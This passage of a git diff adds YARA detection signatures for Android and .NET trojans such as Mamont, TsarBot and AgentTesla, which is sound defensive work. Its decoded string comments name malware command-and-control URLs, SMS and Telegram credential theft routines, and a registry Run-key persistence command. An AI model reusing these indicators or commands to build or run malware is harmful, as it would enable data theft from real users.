} //1 getAll_phone_numbers + $a_01_3 = {66 6f 75 6e 64 53 69 6d 43 61 72 64 73 } //1 foundSimCards + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/AndroidOS/Mamont/Trojan_AndroidOS_Mamont_N_MTB.yar b/Trojan/AndroidOS/Mamont/Trojan_AndroidOS_Mamont_N_MTB.yar new file mode 100644 index 0000000000..a378144c18 --- /dev/null +++ b/Trojan/AndroidOS/Mamont/Trojan_AndroidOS_Mamont_N_MTB.yar @@ -0,0 +1,16 @@ + +rule Trojan_AndroidOS_Mamont_N_MTB{ + meta: + description = "Trojan:AndroidOS/Mamont.N!MTB,SIGNATURE_TYPE_DEXHSTR_EXT,06 00 06 00 06 00 00 " + + strings : + $a_01_0 = {73 65 6e 64 50 6f 73 74 52 65 71 75 65 73 74 53 6d 73 41 70 70 } //1 sendPostRequestSmsApp + $a_01_1 = {73 65 6e 74 53 70 65 63 69 61 6c 53 65 6e 64 65 72 73 54 6f 64 61 79 } //1 sentSpecialSendersToday + $a_01_2 = {73 74 61 72 74 43 68 65 63 6b 69 6e 67 46 6f 72 4e 65 77 53 4d 53 } //1 startCheckingForNewSMS + $a_01_3 = {64 65 6c 69 76 65 72 79 2d 74 6f 70 2e 72 75 2f 73 65 6e 64 2d 73 6d 73 } //1 delivery-top.ru/send-sms + $a_01_4 = {70 61 72 73 65 41 6e 64 53 65 6e 64 53 70 65 63 69 61 6c 53 4d 53 } //1 parseAndSendSpecialSMS + $a_01_5 = {77 73 73 3a 2f 2f 64 65 6c 69 76 65 72 79 2d 74 6f 70 2e 72 75 2f 73 6f 63 6b 65 74 } //1 wss://delivery-top.ru/socket + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Trojan/AndroidOS/Mamont/Trojan_AndroidOS_Mamont_O_MTB.yar b/Trojan/AndroidOS/Mamont/Trojan_AndroidOS_Mamont_O_MTB.yar new file mode 100644 index 0000000000..f2597fdebf --- /dev/null +++ b/Trojan/AndroidOS/Mamont/Trojan_AndroidOS_Mamont_O_MTB.yar @@ -0,0 +1,16 @@ + +rule Trojan_AndroidOS_Mamont_O_MTB{ + meta: + description = "Trojan:AndroidOS/Mamont.O!MTB,SIGNATURE_TYPE_DEXHSTR_EXT,06 00 06 00 06 00 00 " + + strings : + $a_01_0 = {64 6f 43 68 61 6e 67 65 44 65 66 61 75 6c 74 53 6d 73 4c 65 67 61 63 79 } //1 doChangeDefaultSmsLegacy + $a_01_1 = {69 6e 69 74 69 61 6c 69 7a 65 54 65 6c 65 67 72 61 6d 43 72 65 64 65 6e 74 69 61 6c 73 } //1 initializeTelegramCredentials + $a_01_2 = {6f 6e 41 6c 6c 44 6f 63 73 53 65 6e 74 } //1 onAllDocsSent + $a_01_3 = {66 65 74 63 68 54 65 6c 65 67 72 61 6d 43 6f 6d 6d 61 6e 64 73 } //1 fetchTelegramCommands + $a_01_4 = {68 61 6e 64 6c 65 47 65 74 41 6c 6c 53 6d 73 } //1 handleGetAllSms + $a_01_5 = {73 65 6e 64 53 6d 73 50 75 73 68 4d 65 73 73 61 67 65 } //1 sendSmsPushMessage + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Trojan/AndroidOS/Mamont/Trojan_AndroidOS_Mamont_P_MTB.yar b/Trojan/AndroidOS/Mamont/Trojan_AndroidOS_Mamont_P_MTB.yar new file mode 100644 index 0000000000..72111fe8dd --- /dev/null +++ b/Trojan/AndroidOS/Mamont/Trojan_AndroidOS_Mamont_P_MTB.yar @@ -0,0 +1,16 @@ + +rule Trojan_AndroidOS_Mamont_P_MTB{ + meta: + description = "Trojan:AndroidOS/Mamont.P!MTB,SIGNATURE_TYPE_DEXHSTR_EXT,04 00 04 00 06 00 00 " + + strings : + $a_01_0 = {4c 70 75 74 31 63 6d 64 2f 70 75 74 31 72 6f 6f 74 } //1 Lput1cmd/put1root + $a_01_1 = {4c 70 75 74 69 73 6e 61 72 65 2f 70 75 74 31 73 74 72 69 6b 65 } //1 Lputisnare/put1strike + $a_01_2 = {70 75 74 31 78 70 6c 6f 69 74 } //1 put1xploit + $a_01_3 = {4c 70 75 74 69 77 61 72 65 2f 70 75 74 31 64 72 69 76 65 } //1 Lputiware/put1drive + $a_01_4 = {4c 70 75 74 69 30 70 65 72 2f 70 75 74 31 72 6f 6f 74 } //1 Lputi0per/put1root + $a_01_5 = {4c 70 75 74 31 64 72 69 76 65 2f 70 75 74 31 64 61 65 6d 6f 6e } //1 Lput1drive/put1daemon + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/AndroidOS/Necro/Trojan_AndroidOS_Necro_B_MTB.yar b/Trojan/AndroidOS/Necro/Trojan_AndroidOS_Necro_B_MTB.yar new file mode 100644 index 0000000000..c84e9f385f --- /dev/null +++ b/Trojan/AndroidOS/Necro/Trojan_AndroidOS_Necro_B_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_AndroidOS_Necro_B_MTB{ + meta: + description = "Trojan:AndroidOS/Necro.B!MTB,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {6e 20 56 00 53 00 0a 06 12 f7 32 76 7b 00 71 20 b8 00 65 00 0c 06 21 27 21 68 b0 87 23 78 74 00 21 29 71 59 90 00 12 18 21 22 21 69 71 59 90 00 16 28 74 01 b6 00 12 00 0c 02 } //1 + $a_01_1 = {0c 01 6e 10 65 00 00 00 0c 00 6e 20 85 00 20 00 0c 00 12 32 46 00 00 02 62 02 2b 00 6e 20 82 00 20 00 0c 00 21 13 21 04 12 05 12 06 12 07 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/AndroidOS/Pootel/Trojan_AndroidOS_Pootel_C_MTB.yar b/Trojan/AndroidOS/Pootel/Trojan_AndroidOS_Pootel_C_MTB.yar new file mode 100644 index 0000000000..56ed1082b3 --- /dev/null +++ b/Trojan/AndroidOS/Pootel/Trojan_AndroidOS_Pootel_C_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_AndroidOS_Pootel_C_MTB{ + meta: + description = "Trojan:AndroidOS/Pootel.C!MTB,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {74 01 ee 0d 1d 00 0a 04 b5 84 33 84 0f 00 6e 20 e9 0d 91 00 0a 0a 74 01 99 0e 1c 00 0a 04 db 0b 04 02 13 04 1a 00 28 04 12 04 12 0a 12 0b } //1 + $a_01_1 = {22 00 ce 01 70 10 1c 11 00 00 6e 20 1b 11 03 00 22 00 6b 03 70 10 0a 11 00 00 6e 20 19 11 03 00 6e 20 46 0f 23 00 71 10 1a 11 01 00 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/AndroidOS/SAgnt/Trojan_AndroidOS_SAgnt_CA_MTB.yar b/Trojan/AndroidOS/SAgnt/Trojan_AndroidOS_SAgnt_CA_MTB.yar new file mode 100644 index 0000000000..43c06b5e5e --- /dev/null +++ b/Trojan/AndroidOS/SAgnt/Trojan_AndroidOS_SAgnt_CA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_AndroidOS_SAgnt_CA_MTB{ + meta: + description = "Trojan:AndroidOS/SAgnt.CA!MTB,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {0c 00 6e 10 81 01 00 00 0c 00 1c 01 9c 00 1a 02 03 54 12 13 23 34 3d 16 1c 05 21 0f 12 06 4d 05 04 06 6e 30 67 59 21 04 0c 01 23 32 40 16 4d 08 02 06 6e 30 d6 5a 01 02 0c 00 1f 00 f0 0e 6e 10 2b 59 00 00 0a 07 } //1 + $a_01_1 = {22 00 52 01 6e 10 0e 01 02 00 0c 01 70 20 fd 06 10 00 22 01 87 04 70 20 ed 1f 21 00 6e 20 07 07 10 00 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/AndroidOS/SmForw/Trojan_AndroidOS_SmForw_AV.yar b/Trojan/AndroidOS/SmForw/Trojan_AndroidOS_SmForw_AV.yar new file mode 100644 index 0000000000..18e709f43b --- /dev/null +++ b/Trojan/AndroidOS/SmForw/Trojan_AndroidOS_SmForw_AV.yar @@ -0,0 +1,14 @@ + +rule Trojan_AndroidOS_SmForw_AV{ + meta: + description = "Trojan:AndroidOS/SmForw.AV,SIGNATURE_TYPE_DEXHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_01_0 = {63 61 6e 63 65 6c 4e 6f 74 4a 6f 69 6e 54 69 6d 65 72 54 61 73 6b } //2 cancelNotJoinTimerTask + $a_01_1 = {41 50 49 43 41 4c 5f 4e 4f 54 49 46 49 43 41 54 49 4f 4e 5f 41 43 54 49 4f 4e } //2 APICAL_NOTIFICATION_ACTION + $a_01_2 = {73 74 61 72 74 56 69 64 65 6f 43 61 6c 6c 52 65 73 74 54 69 6d 65 43 6f 75 6e 74 44 6f 77 6e 54 69 6d 65 72 } //2 startVideoCallRestTimeCountDownTimer + $a_01_3 = {41 43 54 49 4f 4e 5f 56 4f 49 43 45 5f 53 59 53 54 45 4d 5f 43 54 52 4c 5f 53 43 52 45 45 4e } //2 ACTION_VOICE_SYSTEM_CTRL_SCREEN + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2+(#a_01_2 & 1)*2+(#a_01_3 & 1)*2) >=4 + +} \ No newline at end of file diff --git a/Trojan/AndroidOS/SoumniBot/Trojan_AndroidOS_SoumniBot_G_MTB.yar b/Trojan/AndroidOS/SoumniBot/Trojan_AndroidOS_SoumniBot_G_MTB.yar new file mode 100644 index 0000000000..1d344f88b3 --- /dev/null +++ b/Trojan/AndroidOS/SoumniBot/Trojan_AndroidOS_SoumniBot_G_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_AndroidOS_SoumniBot_G_MTB{ + meta: + description = "Trojan:AndroidOS/SoumniBot.G!MTB,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {14 00 9a ea ff ff 14 01 cb 47 00 00 90 00 00 01 94 00 00 01 3c 00 1a 00 14 00 1c 22 00 00 14 01 9f 03 00 00 91 01 00 01 90 01 00 01 94 00 01 01 2a 00 07 00 00 00 91 01 00 01 94 00 01 01 94 00 01 01 2a 00 f7 ff ff ff 2a 00 25 00 00 00 14 05 b6 ff 60 41 14 04 00 00 00 00 39 04 06 00 14 06 ad ff 60 41 28 0b 22 02 6b 00 1b 07 28 02 00 00 71 10 c9 00 07 00 0c 07 28 ee b7 65 38 04 0a 00 1b 07 77 02 00 00 71 10 c9 00 07 00 } //1 + $a_01_1 = {14 03 d2 1d 08 00 71 40 92 00 33 33 0a 03 14 04 a7 55 0d 00 71 10 71 00 04 00 0a 04 01 35 35 34 2c 00 62 05 11 00 35 43 07 00 6e 20 f6 00 45 00 d8 05 04 01 1b 04 40 02 00 00 71 10 c9 00 04 00 0c 04 1b 05 94 03 00 00 71 10 c9 00 05 00 0c 05 22 05 c9 00 12 04 01 45 12 14 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/AndroidOS/Thamera/Trojan_AndroidOS_Thamera_F_MTB.yar b/Trojan/AndroidOS/Thamera/Trojan_AndroidOS_Thamera_F_MTB.yar new file mode 100644 index 0000000000..a803e7e162 --- /dev/null +++ b/Trojan/AndroidOS/Thamera/Trojan_AndroidOS_Thamera_F_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_AndroidOS_Thamera_F_MTB{ + meta: + description = "Trojan:AndroidOS/Thamera.F!MTB,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {72 20 c0 29 51 00 0c 08 1f 08 47 01 6e 10 28 06 08 00 0c 09 1f 09 2d 02 52 9d d6 00 b1 7d 52 97 d7 00 b1 27 12 02 71 20 23 28 d2 00 0a 09 71 20 23 28 72 00 0a 0e 7b dd 71 20 23 28 d2 00 0a 0d 7b 77 71 20 23 28 72 00 0a 07 6e 10 31 06 08 00 0a 08 b0 98 b0 e8 b0 86 d8 05 05 01 01 72 01 d7 } //1 + $a_01_1 = {12 03 6e 20 26 07 30 00 0c 01 6e 10 31 06 01 00 0a 03 6e 10 2e 06 01 00 0a 05 db 04 04 02 db 06 03 02 b1 64 db 06 05 02 b1 62 b0 43 b0 25 6e 55 79 06 41 32 0e 00 df 03 09 01 b1 3a } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/AndroidOS/Triada/Trojan_AndroidOS_Triada_H_MTB.yar b/Trojan/AndroidOS/Triada/Trojan_AndroidOS_Triada_H_MTB.yar new file mode 100644 index 0000000000..6cf5fceae8 --- /dev/null +++ b/Trojan/AndroidOS/Triada/Trojan_AndroidOS_Triada_H_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_AndroidOS_Triada_H_MTB{ + meta: + description = "Trojan:AndroidOS/Triada.H!MTB,SIGNATURE_TYPE_ELFHSTR_EXT,04 00 04 00 05 00 00 " + + strings : + $a_01_0 = {6f 73 2e 63 6f 6e 66 69 67 2e 70 70 67 6c 2e 62 74 63 6f 72 65 2e 64 65 76 69 63 65 6b 65 79 } //1 os.config.ppgl.btcore.devicekey + $a_01_1 = {6f 73 2e 63 6f 6e 66 69 67 2e 6f 70 70 2e 62 75 69 6c 64 2e 73 74 61 74 75 73 } //1 os.config.opp.build.status + $a_01_2 = {76 65 72 73 69 6f 6e 5f 65 78 5f 63 6f 6e 66 69 67 2e 64 61 74 } //1 version_ex_config.dat + $a_01_3 = {6f 73 2e 63 6f 6e 66 69 67 2e 6f 70 70 2e 62 75 69 6c 64 2e 6d 6f 64 65 6c } //1 os.config.opp.build.model + $a_01_4 = {63 6f 6d 2e 68 77 73 65 6e 2e 61 62 63 2e 53 44 4b } //1 com.hwsen.abc.SDK + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/AndroidOS/TsarBot/Trojan_AndroidOS_TsarBot_A_MTB.yar b/Trojan/AndroidOS/TsarBot/Trojan_AndroidOS_TsarBot_A_MTB.yar new file mode 100644 index 0000000000..8dd751535f --- /dev/null +++ b/Trojan/AndroidOS/TsarBot/Trojan_AndroidOS_TsarBot_A_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_AndroidOS_TsarBot_A_MTB{ + meta: + description = "Trojan:AndroidOS/TsarBot.A!MTB,SIGNATURE_TYPE_DEXHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_01_0 = {63 6f 6d 2f 65 78 61 6d 70 6c 65 2f 67 6f 6f 67 6c 65 70 6c 61 79 73 65 72 76 69 63 65 } //1 com/example/googleplayservice + $a_01_1 = {74 74 70 73 3a 2f 2f 78 64 6a 68 67 66 67 6a 68 2e 72 75 6e 2f 69 6e 6a 65 63 74 73 2f } //1 ttps://xdjhgfgjh.run/injects/ + $a_01_2 = {53 63 72 65 65 6e 43 61 70 74 75 72 65 53 65 72 76 69 63 65 } //1 ScreenCaptureService + $a_01_3 = {70 61 73 73 77 6f 72 64 5f 69 6e 6a 65 63 74 } //1 password_inject + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/BAT/APosT/Trojan_BAT_APosT_SK_MTB.yar b/Trojan/BAT/APosT/Trojan_BAT_APosT_SK_MTB.yar new file mode 100644 index 0000000000..ddb329ebab --- /dev/null +++ b/Trojan/BAT/APosT/Trojan_BAT_APosT_SK_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_APosT_SK_MTB{ + meta: + description = "Trojan:BAT/APosT.SK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 00 " + + strings : + $a_01_0 = {11 07 11 08 6f 5f 00 00 0a 26 11 04 17 58 13 04 11 08 17 58 13 08 11 08 11 07 6f 50 00 00 0a 32 df } //2 + $a_01_1 = {52 50 45 33 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 } //2 RPE3.Properties.Resources.resources + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2) >=4 + +} \ No newline at end of file diff --git a/Trojan/BAT/Aenjaris/Trojan_BAT_Aenjaris_AEN_MTB.yar b/Trojan/BAT/Aenjaris/Trojan_BAT_Aenjaris_AEN_MTB.yar new file mode 100644 index 0000000000..61f57e89f2 --- /dev/null +++ b/Trojan/BAT/Aenjaris/Trojan_BAT_Aenjaris_AEN_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_BAT_Aenjaris_AEN_MTB{ + meta: + description = "Trojan:BAT/Aenjaris.AEN!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 04 00 00 " + + strings : + $a_01_0 = {73 65 72 76 65 72 6a 61 72 76 69 73 2e 73 79 74 65 73 2e 6e 65 74 } //5 serverjarvis.sytes.net + $a_01_1 = {4e 00 4f 00 43 00 52 00 45 00 41 00 54 00 45 00 46 00 4f 00 4c 00 44 00 45 00 52 00 } //3 NOCREATEFOLDER + $a_01_2 = {55 00 4e 00 4b 00 49 00 4c 00 41 00 42 00 4c 00 45 00 } //2 UNKILABLE + $a_01_3 = {61 64 64 20 22 48 4b 45 59 5f 43 55 52 52 45 4e 54 5f 55 53 45 52 5c 53 6f 66 74 77 61 72 65 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 52 75 6e 22 20 2f 76 20 22 4b 65 79 62 6f 72 64 44 72 69 76 65 72 22 20 2f 74 20 52 45 47 5f 53 5a 20 2f 64 } //4 add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "KeybordDriver" /t REG_SZ /d + condition: + ((#a_01_0 & 1)*5+(#a_01_1 & 1)*3+(#a_01_2 & 1)*2+(#a_01_3 & 1)*4) >=14 + +} \ No newline at end of file diff --git a/Trojan/BAT/Agensla/Trojan_BAT_Agensla_NIT_MTB.yar b/Trojan/BAT/Agensla/Trojan_BAT_Agensla_NIT_MTB.yar new file mode 100644 index 0000000000..7cb037dca0 --- /dev/null +++ b/Trojan/BAT/Agensla/Trojan_BAT_Agensla_NIT_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_Agensla_NIT_MTB{ + meta: + description = "Trojan:BAT/Agensla.NIT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 03 00 00 " + + strings : + $a_03_0 = {14 0a 38 37 00 00 00 00 73 ?? 00 00 0a 25 6f ?? 00 00 0a 72 ?? 00 00 70 72 ?? 00 00 70 6f ?? 00 00 0a 25 72 ?? 01 00 70 6f ?? 00 00 0a 0a 6f ?? 00 00 0a dd 09 00 00 00 } //3 + $a_03_1 = {02 19 8d 04 00 00 02 25 16 73 10 00 00 06 a2 25 17 73 01 00 00 06 a2 25 18 73 12 00 00 06 a2 28 ?? 00 00 06 02 28 ?? 00 00 06 2a } //2 + $a_03_2 = {0c 00 00 00 12 00 28 ?? 00 00 0a 6f 0a 00 00 06 12 00 28 ?? 00 00 0a 2d eb } //2 + condition: + ((#a_03_0 & 1)*3+(#a_03_1 & 1)*2+(#a_03_2 & 1)*2) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/Agensla/Trojan_BAT_Agensla_PGA_MTB.yar b/Trojan/BAT/Agensla/Trojan_BAT_Agensla_PGA_MTB.yar new file mode 100644 index 0000000000..c53f917423 --- /dev/null +++ b/Trojan/BAT/Agensla/Trojan_BAT_Agensla_PGA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Agensla_PGA_MTB{ + meta: + description = "Trojan:BAT/Agensla.PGA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {25 16 0f 00 28 ?? 00 00 0a 9c 25 17 0f 00 28 ?? 00 00 0a 9c 25 18 0f 00 28 ?? 00 00 0a 9c 13 08 73 ?? 00 00 0a 13 09 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_ACF_MTB.yar b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_ACF_MTB.yar new file mode 100644 index 0000000000..12256a4aa7 --- /dev/null +++ b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_ACF_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_AgentTesla_ACF_MTB{ + meta: + description = "Trojan:BAT/AgentTesla.ACF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_03_0 = {26 02 11 12 11 13 6f ?? 00 00 0a 13 15 12 15 28 ?? 00 00 0a 16 61 d2 13 16 12 15 28 ?? 00 00 0a 16 61 d2 13 17 12 15 28 ?? 00 00 0a 16 61 d2 13 18 19 8d ?? 00 00 01 25 16 11 16 6c } //4 + $a_03_1 = {16 61 13 13 12 12 28 ?? 00 00 0a 72 ?? ?? 00 70 12 13 28 ?? 00 00 0a 28 3d 00 00 0a 11 0b } //1 + condition: + ((#a_03_0 & 1)*4+(#a_03_1 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_ACG_MTB.yar b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_ACG_MTB.yar index 9b99816f9d..9110c69dc4 100644 --- a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_ACG_MTB.yar +++ b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_ACG_MTB.yar @@ -1,5 +1,16 @@ rule Trojan_BAT_AgentTesla_ACG_MTB{ + meta: + description = "Trojan:BAT/AgentTesla.ACG!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_03_0 = {08 11 18 6f ?? 00 00 0a 00 11 05 72 ?? ?? 00 70 12 17 28 ?? 00 00 0a 12 17 28 ?? 00 00 0a 58 12 17 28 ?? 00 00 0a 58 6b 22 00 00 40 40 5b 22 00 00 7f 43 5b 6f } //4 + $a_03_1 = {02 12 07 28 ?? 00 00 0a 12 07 28 ?? 00 00 0a 6f ?? 00 00 0a 13 17 } //1 + condition: + ((#a_03_0 & 1)*4+(#a_03_1 & 1)*1) >=5 + +} +rule Trojan_BAT_AgentTesla_ACG_MTB_2{ meta: description = "Trojan:BAT/AgentTesla.ACG!MTB,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 05 00 00 " diff --git a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_ACH_MTB.yar b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_ACH_MTB.yar new file mode 100644 index 0000000000..a8718325d1 --- /dev/null +++ b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_ACH_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_AgentTesla_ACH_MTB{ + meta: + description = "Trojan:BAT/AgentTesla.ACH!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {02 11 04 16 94 11 04 17 94 6f ?? 00 00 0a 13 0d 11 04 16 94 1f 64 5d 2d 28 11 0a 72 ?? ?? 00 70 12 0d 28 ?? 00 00 0a 12 0d 28 ?? 00 00 0a 58 12 0d 28 ?? 00 00 0a 58 18 5d 16 fe 01 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_AGK_MTB.yar b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_AGK_MTB.yar index 1c517510fa..433a52f3ea 100644 --- a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_AGK_MTB.yar +++ b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_AGK_MTB.yar @@ -1,5 +1,15 @@ rule Trojan_BAT_AgentTesla_AGK_MTB{ + meta: + description = "Trojan:BAT/AgentTesla.AGK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {07 11 06 03 7b 25 00 00 04 11 06 18 03 7b 23 00 00 04 5a 09 5a 58 91 9c 00 11 06 17 58 13 06 11 06 18 7e 31 00 00 04 5a fe 04 13 05 11 05 2d cf } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} +rule Trojan_BAT_AgentTesla_AGK_MTB_2{ meta: description = "Trojan:BAT/AgentTesla.AGK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 04 00 00 " @@ -12,7 +22,7 @@ rule Trojan_BAT_AgentTesla_AGK_MTB{ ((#a_03_0 & 1)*10+(#a_80_1 & 1)*2+(#a_80_2 & 1)*2+(#a_80_3 & 1)*2) >=16 } -rule Trojan_BAT_AgentTesla_AGK_MTB_2{ +rule Trojan_BAT_AgentTesla_AGK_MTB_3{ meta: description = "Trojan:BAT/AgentTesla.AGK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 04 00 00 " diff --git a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_AHK_MTB.yar b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_AHK_MTB.yar index 9dd0427c0f..fa3630b8ef 100644 --- a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_AHK_MTB.yar +++ b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_AHK_MTB.yar @@ -8,4 +8,14 @@ rule Trojan_BAT_AgentTesla_AHK_MTB{ condition: ((#a_01_0 & 1)*2) >=2 +} +rule Trojan_BAT_AgentTesla_AHK_MTB_2{ + meta: + description = "Trojan:BAT/AgentTesla.AHK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {11 0b 6f 03 00 00 0a 13 26 11 0a 11 26 11 10 59 61 13 0a 11 10 19 11 0a 58 1e 63 59 13 10 11 0b 6f 34 00 00 06 2d d9 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + } \ No newline at end of file diff --git a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_AXUA_MTB.yar b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_AXUA_MTB.yar new file mode 100644 index 0000000000..46f1764b52 --- /dev/null +++ b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_AXUA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_AgentTesla_AXUA_MTB{ + meta: + description = "Trojan:BAT/AgentTesla.AXUA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 02 00 00 " + + strings : + $a_03_0 = {1b 16 02 14 72 ?? ?? 00 70 16 8d ?? 00 00 01 14 14 14 28 ?? 00 00 0a 28 ?? 00 00 0a 6f ?? ?? 00 0a 1a 13 11 2b af 11 09 75 ?? 00 00 01 6f ?? ?? 00 0a 11 08 74 ?? 00 00 01 6f ?? ?? 00 0a 0d de 49 } //5 + $a_03_1 = {0a 11 04 75 ?? 00 00 01 20 80 00 00 00 6f ?? ?? 00 0a 1d 13 0d 2b 85 11 04 75 ?? 00 00 01 19 6f ?? ?? 00 0a 11 04 74 ?? 00 00 01 08 74 ?? 00 00 1b 6f ?? ?? 00 0a 1a 13 0d 38 ?? ff ff ff 11 04 75 ?? 00 00 01 08 75 ?? 00 00 1b 6f ?? ?? 00 0a 11 04 75 ?? 00 00 01 6f ?? ?? 00 0a 13 06 1e 13 0d 38 } //2 + condition: + ((#a_03_0 & 1)*5+(#a_03_1 & 1)*2) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_BR_MTB.yar b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_BR_MTB.yar new file mode 100644 index 0000000000..0d7c173161 --- /dev/null +++ b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_BR_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_AgentTesla_BR_MTB{ + meta: + description = "Trojan:BAT/AgentTesla.BR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {01 6f dc 00 00 0a 00 00 07 6f dd 00 00 0a 0d 00 73 de 00 00 0a 13 04 00 11 04 09 17 73 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_BT_MTB.yar 